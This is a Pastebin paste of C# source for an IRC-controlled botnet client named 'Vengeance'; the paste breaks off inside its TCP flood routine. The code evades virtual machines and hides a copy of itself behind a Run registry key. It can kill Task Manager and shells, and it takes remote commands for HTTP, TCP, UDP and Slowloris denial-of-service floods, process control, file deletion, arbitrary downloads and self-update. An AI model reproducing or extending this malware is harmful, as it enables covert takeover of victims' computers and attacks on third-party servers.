Advertisement
Guest User

Untitled

a guest
Mar 26th, 2019
104
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 45.62 KB | None | 0 0
  1. #region USING
  2. using Microsoft.Win32;
  3. using System;
  4. using System.Collections.Generic;
  5. using System.Diagnostics;
  6. using System.IO;
  7. using System.Net;
  8. using System.Net.Sockets;
  9. using System.Text;
  10. using System.Threading;
  11. using System.Windows.Forms;
  12. using System.IO.Compression;
  13. using System.Reflection;
  14. #endregion
  15.  
  16. namespace Vengeance
  17. {
  18. class Program
  19. {
  20. // Refine secure
  21. // Test vengeance_update
  22.  
  23. #region Varriables
  24. #region Securing Settings
  25. private static string registryKey = @"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run";
  26. private static string subkeyName = "Vengeance";
  27. private static bool unstopable = false;
  28. private static List<string> PossibleDirectories = new List<string>() {
  29. @"C:\Users\" + Environment.UserName + @"\AppData\Local\%%TEMP%%\",
  30. @"C:\Users\" + Environment.UserName + @"\.%%TEMP%%\",
  31. };
  32. #endregion
  33. #region IRC Connections Settings
  34. private static IrcClient client;
  35. private static string IRCserver = "irc.freenode.net";
  36. private static int IRCport = 6697;
  37. private static string channel = "#kiwiirc-iamfree";
  38. private static string AUTHUser = "time4vengeance";
  39. private static string AUTHToken = "admin";
  40. private static int SendDelay = 1000;
  41. private static bool AnonymousUsername = false;
  42. #endregion
  43. #region Botnet Settings
  44. private static int BotnetVersion = 1;
  45. private static string AdminSplitter = " ";
  46. private static string CommandSplitter = "(#)";
  47. private static bool EnableSecure = false;
  48. #endregion
  49. #region Command Temporary Varriables
  50. private static List<DoS> DOSThreads = new List<DoS>();
  51. private static Thread ListingFileThread, ListingProcThread;
  52. private static bool ListingStorage = false, ListingProcess = false;
  53. private static List<string> UserAgents = new List<string>() {
  54. "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
  55. "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
  56. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
  57. "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0",
  58. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.1.1 Safari/603.2.4",
  59. "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0",
  60. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
  61. "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
  62. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0",
  63. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36"
  64. };
  65. #endregion
  66. #endregion
  67.  
  68. #region Main - Entry Method
  69. static void Main(string[] args)
  70. {
  71. try
  72. {
  73. #region Make Sure I am NOT Being Watch
  74. // TY https://stackoverflow.com/questions/498371/how-to-detect-if-my-application-is-running-in-a-virtual-machine
  75. using (var searcher = new System.Management.ManagementObjectSearcher("Select * from Win32_ComputerSystem"))
  76. {
  77. using (var items = searcher.Get())
  78. {
  79. foreach (var item in items)
  80. {
  81. string manufacturer = item["Manufacturer"].ToString().ToLower();
  82. if ((manufacturer == "microsoft corporation" && item["Model"].ToString().ToUpper().Contains("VIRTUAL"))
  83. || manufacturer.ToUpper().Contains("VMWARE")
  84. || item["Model"].ToString() == "VirtualBox")
  85. {
  86. Environment.Exit(1);
  87. }
  88. }
  89. }
  90. }
  91.  
  92. RegistryKey rk = Registry.CurrentUser.OpenSubKey(registryKey.Replace("HKEY_CURRENT_USER\\", string.Empty));
  93. if (rk.GetValue(subkeyName, null) != null)
  94. {
  95. // Commented for DEBUG
  96. // Thread.Sleep(10 * (1000 * 60));
  97. }
  98. #endregion
  99.  
  100. #region Only 1 running
  101. if (Process.GetProcessesByName(Process.GetCurrentProcess().ProcessName).Length > 1)
  102. {
  103. Console.WriteLine(" [*] More than one running! Shutting Down!");
  104. Environment.Exit(1);
  105. }
  106. else
  107. {
  108. Console.WriteLine(" [*] Only One Running! Continuing!");
  109. }
  110. #endregion
  111.  
  112. #region Secure
  113. if (EnableSecure)
  114. {
  115. rk = Registry.CurrentUser.OpenSubKey(registryKey.Replace("HKEY_CURRENT_USER\\", string.Empty));
  116. if (rk.GetValue(subkeyName, null) != null)
  117. {
  118. Console.WriteLine(" [*] Already Installed!");
  119. if (unstopable) {
  120. Thread X = new Thread(() => {
  121. while (true)
  122. {
  123. try
  124. {
  125. foreach (Process p in Process.GetProcessesByName("cmd"))
  126. {
  127. p.Kill();
  128. }
  129.  
  130. foreach (Process p in Process.GetProcessesByName("powershell"))
  131. {
  132. p.Kill();
  133. }
  134.  
  135. foreach (Process p in Process.GetProcessesByName("Taskmgr"))
  136. {
  137. p.Kill();
  138. }
  139.  
  140. foreach (Process p in Process.GetProcessesByName("regedit"))
  141. {
  142. p.Kill();
  143. }
  144. }
  145. catch (Exception)
  146. {
  147. Console.WriteLine(" [-] Unable To Kill Process! Continuing!");
  148. }
  149. Thread.Sleep(100);
  150. }
  151. });
  152. X.Start();
  153. Console.WriteLine(" [*] Now Unstoppable!");
  154. }
  155. }
  156. else
  157. {
  158. Console.WriteLine(" [*] Securing...");
  159.  
  160. Random r = new Random(DateTime.UtcNow.Millisecond);
  161.  
  162. string dir = PossibleDirectories[r.Next(0, PossibleDirectories.Count - 1)].Replace("%%TEMP%%", subkeyName);
  163. string file = dir + subkeyName + ".exe";
  164.  
  165. if (!Directory.Exists(dir))
  166. {
  167. // Add directory + file
  168. DirectoryInfo di = Directory.CreateDirectory(dir);
  169. di.Attributes = FileAttributes.Hidden;
  170. File.Copy(Application.ExecutablePath, file);
  171.  
  172. FileInfo fi = new FileInfo(file);
  173. fi.Attributes = FileAttributes.Hidden;
  174. Registry.SetValue(registryKey, subkeyName, file);
  175. Process.Start(file);
  176. Console.WriteLine(" [*] Folder and File Created... Secured...");
  177. Environment.Exit(0);
  178. }
  179. else
  180. {
  181. Console.WriteLine(" [*] Foler Already Exists... Checking For Files...");
  182.  
  183. if (!File.Exists(file))
  184. {
  185. // Add file
  186. File.Copy(Application.ExecutablePath, file);
  187. FileInfo fi = new FileInfo(file);
  188. fi.Attributes = FileAttributes.Hidden;
  189. Registry.SetValue(registryKey, subkeyName, file);
  190. Process.Start(file);
  191. Console.WriteLine(" [*] File Created... Secured...");
  192. Environment.Exit(0);
  193. }
  194. else
  195. {
  196. Console.WriteLine(" [*] File Already Exists...");
  197. }
  198. }
  199. }
  200. }
  201. else
  202. {
  203. Console.WriteLine(" [*] Securing Disabled...");
  204. }
  205. #endregion
  206.  
  207. #region Connect to IRC
  208. Console.WriteLine(" [*] Connecting To " + IRCserver + ":" + IRCport + "...");
  209. client = new IrcClient(IRCserver, IRCport, true);
  210. if (!AnonymousUsername)
  211. {
  212. client.Nick = Environment.UserName.Split(' ')[0] + "-BOT-" + RandomString(5);
  213. }
  214. else {
  215. client.Nick = "ANON" + "-BOT-" + RandomString(5);
  216. }
  217. client.OnConnect += Client_OnConnect;
  218. client.ChannelMessage += Client_ChannelMessage;
  219. client.PrivateMessage += Client_PrivateMessage;
  220. client.Pinged += Client_Pinged;
  221. try
  222. {
  223. client.Connect();
  224. }
  225. catch (SocketException)
  226. {
  227. Console.WriteLine(" [*] Unable To Connect To " + IRCserver + ":" + IRCport + "...\r\n [*] RESTARTING APPLICATION");
  228. Main(args);
  229. return;
  230. }
  231. #endregion
  232.  
  233. #region Stall Application
  234. while (true)
  235. {
  236. Thread.Sleep(5 * 1000);
  237. }
  238. #endregion
  239. }
  240. catch (Exception)
  241. {
  242. Console.WriteLine(" [*] Unexpected Error! ");
  243. }
  244. }
  245. #endregion
  246.  
  247. #region IRC Event Handlers
  248. private static void Client_Pinged(object sender, EventArgs e)
  249. {
  250. Console.WriteLine(" [*] Client Was Pinged By " + e + "! Responded With A Pong!");
  251. }
  252.  
  253. private static void Client_PrivateMessage(object sender, PrivateMessageEventArgs e)
  254. {
  255. if (e.From == AUTHUser)
  256. {
  257. if (e.Message.Split(new string[] { AdminSplitter }, StringSplitOptions.None)[0] == AUTHToken)
  258. {
  259. e.Message = e.Message.Replace(AUTHToken + AdminSplitter, string.Empty);
  260. Console.WriteLine(" [+] Privately Recieved From " + e.From + " \"" + e.Message + "\"");
  261. Thread X = new Thread(() => {
  262. HandleCommand(e.Message);
  263. });
  264. X.Start();
  265. }
  266. }
  267. }
  268.  
  269. private static void Client_ChannelMessage(object sender, ChannelMessageEventArgs e)
  270. {
  271. if (e.From == AUTHUser)
  272. {
  273. if (e.Message.Split(new string[] { AdminSplitter }, StringSplitOptions.None)[0] == AUTHToken)
  274. {
  275. e.Message = e.Message.Replace(AUTHToken + AdminSplitter, string.Empty);
  276. Console.WriteLine(" [+] Recieved From " + e.From + " \"" + e.Message + "\"");
  277. Thread X = new Thread(() => {
  278. HandleCommand(e.Message);
  279. });
  280. X.Start();
  281. }
  282. }
  283. }
  284.  
  285. private static void Client_OnConnect(object sender, EventArgs e)
  286. {
  287. Console.WriteLine(" [*] Connected!\r\n [*] Joining Channel " + channel + " As " + client.Nick + "...");
  288. client.JoinChannel(channel);
  289. Console.WriteLine(" [*] Channel Joined!");
  290. Client_SendMessage(" [*] Bot Reporting For Duty! Version = " + BotnetVersion);
  291. }
  292.  
  293. private static void Client_SendMessage(string message)
  294. {
  295. client.SendMessage(channel, message);
  296. Console.WriteLine(" [+] Sent \"" + message + "\"");
  297. }
  298. #endregion
  299.  
  300. #region Command Handler
  301. private static void HandleCommand(string c)
  302. {
  303. string[] ca = c.Split(new string[] { CommandSplitter }, StringSplitOptions.None);
  304.  
  305. try
  306. {
  307. #region System Operations
  308. if (c.ToLower() == "machine_info")
  309. {
  310. #region machine_info
  311. Client_SendMessage(" ~~~ Now Listing Info ~~~");
  312. Thread.Sleep(SendDelay);
  313. Client_SendMessage(" [*] Machine Name: " + Environment.MachineName);
  314. Thread.Sleep(SendDelay);
  315. Client_SendMessage(" [*] Current User: " + Environment.UserDomainName + "\\" + Environment.UserName);
  316. Thread.Sleep(SendDelay);
  317. DateTime dt = DateTime.Now;
  318. Client_SendMessage($" [*] Machine Time (H-M-S): {dt.Hour}-{dt.Minute}-{dt.Second}");
  319. Thread.Sleep(SendDelay);
  320. Client_SendMessage(" ~~~ Done Listing Info ~~~");
  321. #endregion
  322. }
  323. #endregion
  324. #region DoS/Process Operations
  325. #region DoS
  326. else if (ca[0].ToLower() == "dos_start")
  327. {
  328. #region dos_start
  329. if (ca.Length == 5)
  330. {
  331. #region HTTP Flood
  332. // Vars
  333. string ip = Dns.GetHostAddresses(ca[1])[0].ToString();
  334. ushort port = ushort.Parse(ca[2]);
  335. int duration = int.Parse(ca[3]);
  336. string resource = ca[4];
  337.  
  338. // Start and Add To Lists
  339. Thread X = new Thread(() =>
  340. {
  341. Client_SendMessage(" [*] Launching HTTP FLOOD Attack Towards " + ip + ":" + port + " For " + duration + " Seconds!");
  342. HTTP_FLOOD(ip, port, ca[1], resource);
  343. });
  344.  
  345. // Start and Add To Lists
  346. DoS current = new DoS(new List<Thread> { X }, ip, port, "HTTP FLOOD", duration);
  347. X.Start();
  348. DOSThreads.Add(current);
  349.  
  350. // Wait
  351. Thread.Sleep(duration * 1000);
  352.  
  353. //End + Remove From Lists
  354. DOSThreads.Remove(current);
  355. X.Abort();
  356. #endregion
  357. }
  358. else if (ca.Length == 6)
  359. {
  360. #region L3
  361. // Vars
  362. string ip = Dns.GetHostAddresses(ca[1])[0].ToString();
  363. ushort port = ushort.Parse(ca[2]);
  364. int duration = int.Parse(ca[3]);
  365. int packetsize = int.Parse(ca[4]);
  366. byte[] packet = Encoding.UTF8.GetBytes(RandomString(packetsize));
  367.  
  368. // Start and Add To Lists
  369. Thread X = new Thread(() =>
  370. {
  371. if (ca[5].ToLower() == "tcp")
  372. {
  373. Client_SendMessage(" [*] Launching TCP Attack Towards " + ip + ":" + port + " For " + duration + " Seconds!");
  374. TCPDOS(ip, port, packet);
  375. }
  376. else if (ca[5].ToLower() == "udp")
  377. {
  378. Client_SendMessage(" [*] Launching UDP Attack Towards " + ip + ":" + port + " For " + duration + " Seconds!");
  379. UDPDOS(ip, port, packet);
  380. }
  381. });
  382.  
  383. // Start and Add To Lists
  384. DoS current = new DoS(new List<Thread> { X }, ip, port, ca[5].ToUpper(), duration);
  385. X.Start();
  386. DOSThreads.Add(current);
  387.  
  388. // Wait
  389. Thread.Sleep(duration * 1000);
  390.  
  391. //End + Remove From Lists
  392. DOSThreads.Remove(current);
  393. X.Abort();
  394. #endregion
  395. }
  396. else if (ca.Length == 7) {
  397. #region Slow Loris
  398. // Vars
  399. string ip = Dns.GetHostAddresses(ca[1])[0].ToString();
  400. ushort port = ushort.Parse(ca[2]);
  401. int duration = int.Parse(ca[3]);
  402. string resource = ca[4];
  403. int length = int.Parse(ca[5]);
  404. int delay = int.Parse(ca[6]);
  405.  
  406. // Start and Add To Lists
  407. Client_SendMessage(" [*] Launching SLOW LORIS Attack Towards " + ip + ":" + port + " For " + duration + " Seconds!");
  408. List<Thread> sessions = new List<Thread>();
  409.  
  410. for (int x = 0; x < 250; x++)
  411. {
  412. Thread session = new Thread(() =>
  413. {
  414. HTTP_SlowLoris(ip, port, ca[1], resource, length, delay);
  415. });
  416. session.Start();
  417. sessions.Add(session);
  418. }
  419.  
  420. // Start and Add To Lists
  421. DoS current = new DoS(sessions, ip, port, "SLOW LORIS", duration);
  422. DOSThreads.Add(current);
  423.  
  424. // Wait
  425. Thread.Sleep(duration * 1000);
  426.  
  427. //End + Remove From Lists
  428. DOSThreads.Remove(current);
  429. current.AbortDoS();
  430. #endregion
  431. }
  432. else
  433. {
  434. Client_SendMessage($" [-] Invalid Number of Arguments! Type \"{AUTHToken + AdminSplitter + "vengeance_help"}\" for help!");
  435. }
  436. #endregion
  437. }
  438. else if (c.ToLower() == "dos_stop")
  439. {
  440. #region dos_stop
  441. int CurrentDoS = DOSThreads.Count;
  442.  
  443. try
  444. {
  445. foreach (DoS X in DOSThreads)
  446. {
  447. try
  448. {
  449. X.AbortDoS();
  450. DOSThreads.Remove(X);
  451. }
  452. catch (Exception)
  453. {
  454.  
  455. }
  456. }
  457. }
  458. catch (InvalidOperationException)
  459. {
  460.  
  461. }
  462.  
  463. if (CurrentDoS == 0)
  464. {
  465. // No running
  466. Client_SendMessage(" [*] No Attacks To Stop!");
  467. }
  468. else
  469. {
  470. // 1 or More running
  471. Client_SendMessage(" [*] All Current DOS Attacks Stopped!");
  472. }
  473.  
  474. #endregion
  475. }
  476. else if (c.ToLower() == "dos_info")
  477. {
  478. #region DoS Info
  479. if (DOSThreads.Count == 0)
  480. {
  481. // No running
  482. Client_SendMessage(" [*] No Attacks Running!");
  483. return;
  484. }
  485. else
  486. {
  487. // 1 or More running
  488. Client_SendMessage(" ~~~ DoS Attack Info ~~~");
  489. }
  490.  
  491. foreach (DoS DOS in DOSThreads)
  492. {
  493. if (DOS.AttackMbps != 0)
  494. {
  495. Client_SendMessage(string.Format("Target: {0}:{1} | Method: {2} | Seconds Left: {3} | Current Speed (Mbps): {4} | Sessions: {5}",
  496. DOS.TargetIP, DOS.TargetPort, DOS.AttackMethod, DOS.AttackDuration, DOS.AttackMbps, DOS.sessions.Count));
  497. }
  498. else {
  499. Client_SendMessage(string.Format("Target: {0}:{1} | Method: {2} | Seconds Left: {3} | Current Speed (Mbps): {4} | Sessions: {5}",
  500. DOS.TargetIP, DOS.TargetPort, DOS.AttackMethod, DOS.AttackDuration, "N/A", DOS.sessions.Count));
  501. }
  502. Thread.Sleep(SendDelay);
  503. }
  504.  
  505. Client_SendMessage(" ~~~ Done Listing Info ~~~");
  506. #endregion
  507. }
  508. #endregion
  509. #region Process
  510. else if (ca[0].ToLower() == "process_start")
  511. {
  512. #region Start Process
  513. if (ca.Length == 4)
  514. {
  515. Process P = new Process();
  516. P.StartInfo.FileName = ca[1];
  517. P.StartInfo.Arguments = ca[2];
  518. if (ca[3].ToLower() == "true")
  519. {
  520. P.StartInfo.CreateNoWindow = true;
  521. P.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
  522. }
  523. P.Start();
  524. Client_SendMessage(" [*] Process Started");
  525. }
  526. else
  527. {
  528. Client_SendMessage($" [-] Invalid Number of Arguments! Type \"{AUTHToken + AdminSplitter + "vengeance_help"}\" for help!");
  529. }
  530. #endregion
  531. }
  532. else if (ca[0].ToLower() == "process_stop_id")
  533. {
  534. #region Stop Process ID
  535. if (ca.Length == 2)
  536. {
  537. try
  538. {
  539. int pid = int.Parse(ca[1]);
  540.  
  541. Process p = Process.GetProcessById(pid);
  542. p.Kill();
  543. Client_SendMessage(" [*] Process Killed!");
  544. }
  545. catch (ArgumentException)
  546. {
  547. Client_SendMessage(" [*] Process Not Found!");
  548. }
  549. }
  550. else
  551. {
  552. Client_SendMessage($" [-] Invalid Number of Arguments! Type \"{AUTHToken + AdminSplitter + "vengeance_help"}\" for help!");
  553. }
  554. #endregion
  555. }
  556. else if (ca[0].ToLower() == "process_stop_name")
  557. {
  558. #region Stop Process Name
  559. if (ca.Length == 2)
  560. {
  561. bool killed = false;
  562.  
  563. foreach (Process p in Process.GetProcessesByName(ca[1].Replace(".exe", string.Empty)))
  564. {
  565. if (!killed) killed = true;
  566. p.Kill();
  567. }
  568.  
  569. if (!killed) { Client_SendMessage(" [*] No Processs Found!"); }
  570. else { Client_SendMessage(" [*] Process Killed"); }
  571. }
  572. else
  573. {
  574. Client_SendMessage($" [-] Invalid Number of Arguments! Type \"{AUTHToken + AdminSplitter + "vengeance_help"}\" for help!");
  575. }
  576. #endregion
  577. }
  578. else if (c.ToLower() == "process_list")
  579. {
  580. #region List Process
  581. ListingProcThread = new Thread(() =>
  582. {
  583. // already listing storage
  584. if (ListingProcess)
  585. {
  586. Client_SendMessage(" [*] Already Listing Processess! Please Wait!");
  587. return;
  588. }
  589.  
  590. ListingProcess = true;
  591. Client_SendMessage("~~~ STARTING ~~~");
  592. Client_SendMessage("~~~ PROCESSESS ~~~");
  593.  
  594. foreach (Process proc in Process.GetProcesses())
  595. {
  596. Client_SendMessage(proc.ProcessName + ".exe ~~~ " + proc.Id);
  597. Thread.Sleep(SendDelay);
  598. }
  599.  
  600. Client_SendMessage("~~~ DONE ~~~");
  601. ListingProcess = false;
  602. });
  603. ListingProcThread.Start();
  604. #endregion
  605. }
  606. else if (c.ToLower() == "process_list_stop")
  607. {
  608. #region Stop Process Listing
  609. if (!ListingProcess || ListingProcThread == null)
  610. {
  611. Client_SendMessage(" [*] Not Listing Anything Right Now!");
  612. return;
  613. }
  614.  
  615. ListingProcThread.Abort();
  616. ListingProcess = false;
  617. Client_SendMessage(" [*] Process Listing Cancelled!");
  618. #endregion
  619. }
  620. #endregion
  621. #endregion
  622. #region Transfer/File Operations
  623. else if (ca[0].ToLower() == "storage_list")
  624. {
  625. #region List Items In DIR
  626. if (ca.Length == 2)
  627. {
  628. ListingFileThread = new Thread(() =>
  629. {
  630. // already listing storage
  631. if (ListingStorage)
  632. {
  633. Client_SendMessage(" [*] Already Listing A Directory! Please Wait!");
  634. return;
  635. }
  636.  
  637. // folder exists
  638. if (!Directory.Exists(ca[1]))
  639. {
  640. Client_SendMessage(" [*] Directory Does NOT Exist!");
  641. return;
  642. }
  643.  
  644. // if its a file
  645. if (File.Exists(ca[1]))
  646. {
  647. Client_SendMessage(" [*] Can't List A File!");
  648. return;
  649. }
  650.  
  651. ListingStorage = true;
  652. Client_SendMessage("~~~ STARTING ~~~");
  653.  
  654. // vars
  655. bool folders = false; bool files = false;
  656.  
  657. foreach (string folder in Directory.GetDirectories(ca[1]))
  658. {
  659. if (!folders)
  660. {
  661. Client_SendMessage("~~~ DIRECTORIES ~~~");
  662. folders = true;
  663. }
  664.  
  665. Client_SendMessage(folder);
  666. Thread.Sleep(SendDelay);
  667. }
  668.  
  669. foreach (string file in Directory.GetFiles(ca[1]))
  670. {
  671. if (!files)
  672. {
  673. Client_SendMessage("~~~ FILES ~~~");
  674. files = true;
  675. }
  676.  
  677. Client_SendMessage(file);
  678. Thread.Sleep(SendDelay);
  679. }
  680.  
  681. // EMPTY
  682. if (!files && !folders)
  683. {
  684. Client_SendMessage("~~~ EMPTY ~~~");
  685. }
  686.  
  687. Client_SendMessage("~~~ DONE ~~~");
  688. ListingStorage = false;
  689. });
  690. ListingFileThread.Start();
  691. }
  692. else
  693. {
  694. Client_SendMessage($" [-] Invalid Number of Arguments! Type \"{AUTHToken + AdminSplitter + "vengeance_help"}\" for help!");
  695. }
  696. #endregion
  697. }
  698. else if (c.ToLower() == "storage_list_stop")
  699. {
  700. #region List Storage Stop
  701. if (!ListingStorage || ListingFileThread == null)
  702. {
  703. Client_SendMessage(" [*] Not Listing Anything Right Now!");
  704. return;
  705. }
  706.  
  707. ListingFileThread.Abort();
  708. ListingStorage = false;
  709. Client_SendMessage(" [*] Storage Listing Cancelled!");
  710. #endregion
  711. }
  712. else if (ca[0].ToLower() == "storage_delete")
  713. {
  714. #region Storage Delete
  715. if (ca.Length == 2)
  716. {
  717. try
  718. {
  719. File.Delete(ca[1]);
  720. Client_SendMessage(" [*] File Deleted");
  721. }
  722. catch (Exception)
  723. {
  724. Client_SendMessage(" [*] Error! Unable to delete file!");
  725. }
  726. }
  727. else
  728. {
  729. Client_SendMessage($" [-] Invalid Number of Arguments! Type \"{AUTHToken + AdminSplitter + "vengeance_help"}\" for help!");
  730. }
  731. #endregion
  732. }
  733. else if (ca[0].ToLower() == "storage_create")
  734. {
  735. #region Storage Create
  736. if (ca.Length == 3)
  737. {
  738. try
  739. {
  740. File.WriteAllText(ca[1], ca[2]);
  741. Client_SendMessage(" [*] File Created");
  742. }
  743. catch (IOException)
  744. {
  745. Client_SendMessage(" [*] Error! Failed to create file!");
  746. }
  747. }
  748. #endregion
  749. }
  750. else if (ca[0].ToLower() == "storage_download")
  751. {
  752. #region Storage Download
  753. if (ca.Length == 3)
  754. {
  755. try
  756. {
  757. WebClient WC = new WebClient();
  758. WC.DownloadFile(ca[1], ca[2]);
  759. Client_SendMessage(" [*] File Downloaded");
  760. }
  761. catch (Exception)
  762. {
  763. Client_SendMessage(" [*] Error! Failed to download file and or save it!");
  764. }
  765. }
  766. else
  767. {
  768. Client_SendMessage($" [-] Invalid Number of Arguments! Type \"{AUTHToken + AdminSplitter + "vengeance_help"}\" for help!");
  769. }
  770. #endregion
  771. }
  772. // storage_upload
  773.  
  774. #endregion
  775. #region Vengeance Options
  776. else if (c.ToLower() == "vengeance_close")
  777. {
  778. #region Close Botnet
  779. Client_SendMessage(" [*] Bot Shutting Down!");
  780. client.Disconnect();
  781. Thread.Sleep(2 * 1000);
  782. Environment.Exit(0);
  783. #endregion
  784. }
  785. else if (ca[0].ToLower() == "vengeance_update")
  786. {
  787. #region Update Botnet
  788. if (ca.Length == 4)
  789. {
  790. try
  791. {
  792. // Make sure file doenst already exist
  793. if (File.Exists(Environment.CurrentDirectory + ca[2]))
  794. {
  795. Client_SendMessage(" [*] File Already Exists!");
  796. return;
  797. }
  798.  
  799. // Make sure version is new
  800. try
  801. {
  802. int version = int.Parse(ca[3]);
  803. if (BotnetVersion == version)
  804. {
  805. Client_SendMessage(" [*] Already That Version!");
  806. return;
  807. }
  808. }
  809. catch (FormatException)
  810. {
  811. Client_SendMessage(" [*] Update Version Not Valid!");
  812. return;
  813. }
  814.  
  815. WebClient wc = new WebClient();
  816. wc.DownloadFile(ca[1], ca[2]);
  817. Client_SendMessage(" [*] Update Downloaded!");
  818. Registry.SetValue(registryKey, subkeyName, Environment.CurrentDirectory + ca[2]);
  819. Client_SendMessage(" [*] New Client Will Run On Restart!");
  820. }
  821. catch (Exception)
  822. {
  823. Client_SendMessage(" [*] Update Failed!");
  824. }
  825. }
  826. else
  827. {
  828. Client_SendMessage($" [-] Invalid Number of Arguments! Type \"{AUTHToken + AdminSplitter + "vengeance_help"}\" for help!");
  829. }
  830. #endregion
  831. }
  832. else if (c.ToLower() == "vengeance_remove")
  833. {
  834. #region Remove Botnet
  835. Client_SendMessage(" [*] Removing Auto Start!");
  836.  
  837. RegistryKey rk = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
  838. string location = string.Empty;
  839. if (rk.GetValue("OopsBotnet", null) != null)
  840. {
  841. // Get Location and Remove From Startup
  842. location = rk.GetValue("OopsBotnet", null).ToString();
  843. rk.DeleteValue("OopsBotnet");
  844. }
  845.  
  846. // Set it to run next boot
  847. Registry.SetValue(@"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce", "tmp",
  848. "C:\\Windows\\system32\\cmd.exe /q /c rmdir /s /q \"" + location + "\"");
  849.  
  850. Client_SendMessage(" [*] Done! Restarting!");
  851. Process.Start("shutdown", "/r /f /t 00");
  852. #endregion
  853. }
  854. else if (c.ToLower() == "vengeance_help")
  855. {
  856. #region Help Botnet
  857. List<string> helpInfo = new List<string>()
  858. {
  859. " ~~~ Vengeance Commands ~~~",
  860. "vengeance_help = Shows commands for the target device.",
  861. "vengeance_close = Stop bot on target device.",
  862. $"vengeance_update{CommandSplitter}URL{CommandSplitter}File Name{CommandSplitter}Version Number = Updates Bot!",
  863. "vengeance_remove = Removes bot from target device.",
  864. " ",
  865. " ~~~ Process Commands ~~~",
  866. $"process_start{CommandSplitter}Filename{CommandSplitter}Arguments(Seperated By Spaces){CommandSplitter}Hide It(true or false) = Starts a proces on the target system!",
  867. $"process_stop_id{CommandSplitter}Process ID = Stops a process based off of its ID",
  868. $"process_stop_name{CommandSplitter}Process Name = Stops a process based off of its Name ** It stops all running with that name! **",
  869. "process_list = Lists all current running process",
  870. "process_list_stop = Stops command \"process_list\"",
  871. " ",
  872. " ~~~ File Commands ~~~",
  873. $"storage_list{CommandSplitter}Directory = Lists all items in a directory!",
  874. $"storage_list_stop = Stops listing all items in a directory.",
  875. $"storage_delete{CommandSplitter}Item = Deletes all items specified.",
  876. $"storage_create{CommandSplitter}File Name{CommandSplitter}Contents = Creates a file and stores it's contents.",
  877. $"storage_download{CommandSplitter}URL{CommandSplitter}File Name = Downloads and Saves File",
  878. " ",
  879. " ~~~ DoS Commands ~~~",
  880. "dos_info = Returns info about all current DoS attacks on that device!",
  881. $"dos_start{CommandSplitter}IP{CommandSplitter}port{CommandSplitter}Duration(Seconds){CommandSplitter}Resource = Starts a HTTP FLOOD DoS!",
  882. $"dos_start{CommandSplitter}IP{CommandSplitter}port{CommandSplitter}Duration(Seconds){CommandSplitter}Packet Size(Bytes){CommandSplitter}Method(TCP or UDP) = Starts a DoS using TCP or UDP!",
  883. $"dos_start{CommandSplitter}IP{CommandSplitter}port{CommandSplitter}Duration(Seconds){CommandSplitter}Resource{CommandSplitter}Length (Content-Length){CommandSplitter}Delay(Seconds) = Starts a SLOW LORIS DoS!",
  884. "dos_stop = Stops all current DoS attacks!",
  885. " ",
  886. " ~~~ Machine Commands ~~~",
  887. "machine_info = Returns information about current device!",
  888. };
  889.  
  890. Client_SendMessage("~~~ COMMANDS ~~~");
  891.  
  892. foreach (string cmd in helpInfo)
  893. {
  894. if (cmd.Substring(0, 1) != " ")
  895. {
  896. Client_SendMessage(" " + AUTHToken + AdminSplitter + cmd);
  897. }
  898. else
  899. {
  900. Client_SendMessage(cmd);
  901. }
  902. Thread.Sleep(SendDelay);
  903. }
  904.  
  905. Client_SendMessage("~~~ COMMANDS DONE ~~~");
  906. #endregion
  907. }
  908. #endregion
  909. #region Else
  910. else
  911. {
  912. Client_SendMessage($" [*] Command Does Not Exist! Type \"{AUTHToken + AdminSplitter + "vengeance_help"}\" for help!");
  913. }
  914. #endregion
  915. }
  916. catch (Exception EX)
  917. {
  918. Client_SendMessage(" [*] Unexpected Error! Error Message : " + EX.Message);
  919. }
  920. }
  921. #endregion
  922.  
  923. #region DoS
  924. #region Layer 3
  925. private static void UDPDOS(string ip, ushort port, byte[] packet, long sent = 0, Stopwatch sw = null)
  926. {
  927.  
  928. // Speed Timer
  929. if (sw == null)
  930. {
  931. sw = new Stopwatch();
  932. sw.Start();
  933. }
  934.  
  935. try
  936. {
  937. Socket s = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
  938. while (true)
  939. {
  940. s.SendTo(packet, new IPEndPoint(IPAddress.Parse(ip), port));
  941.  
  942. // Calc new Speed
  943. sent++;
  944. foreach (DoS d in DOSThreads)
  945. {
  946. if (d.TargetIP == ip && d.TargetPort == port && d.AttackMethod == "UDP")
  947. {
  948. d.CalculateMBps(sent * packet.Length / sw.Elapsed.TotalSeconds);
  949. }
  950. }
  951. }
  952. }
  953. catch (SocketException)
  954. {
  955. UDPDOS(ip, port, packet, sent, sw);
  956. }
  957. }
  958.  
  959. private static void TCPDOS(string ip, ushort port, byte[] packet, long sent = 0, Stopwatch sw = null)
  960. {
  961.  
  962. // Speed Timer
  963. if (sw == null)
  964. {
  965. sw = new Stopwatch();
  966. sw.Start();
  967. }
  968.  
  969. try
  970. {
